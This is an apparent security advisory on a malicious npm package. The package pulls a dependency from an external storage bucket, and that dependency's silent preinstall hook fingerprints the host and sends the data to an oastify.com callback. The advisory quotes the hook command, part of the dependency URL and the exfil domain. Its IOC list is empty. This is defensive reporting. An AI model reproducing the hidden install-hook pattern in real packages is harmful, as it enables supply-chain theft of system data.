GCVE-110-OSM-2026-4962

This package uses a dependency confusion / supply chain attack pattern: it pulls a URL-based dependency (`ltidisafe`) hosted on an attacker-controlled Google Cloud Storage bucket (`ltidi.storage.googleapis.com`), bypassing npm registry security. That bundled dependency runs a preinstall hook (`node test.js > /dev/null 2>&1`) that silently collects system information via `os.userInfo()` and `os.hostname()` and exfiltrates it to an OAST/Interactsh endpoint (`oastify.com`), a classic attacker callback used to confirm successful installs. The publisher `ltdwh8` has a 55% malicious package ratio with 11 previously confirmed malicious packages across spoofed brand namespaces (Deel, Citi, Cloudways, UiPath, etc.), indicating a prolific dependency confusion campaign. The main `index.js` is a decoy stub (`module.exports = {}`), confirming the malicious logic is entirely offloaded into the externally-fetched `ltidisafe` tarball. The attacker model is a dependency confusion / typosquatting threat actor performing environment fingerprinting and OAST-based beacon exfil on install. Entrypoint: index.js (main: index.js) Payload: [ltidisafe] test.js Key findings: - URL-Based Dependency in package.json: ""dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenco..." - Publisher Has Other Malicious Packages - OAST/Interactsh Exfiltration in [ltidisafe] test.js: "oastify.com" - Install Hook Executes Local JS File in [ltidisafe] package.json: ""preinstall": "node test.js > /dev/null 2>&1"" IOCs: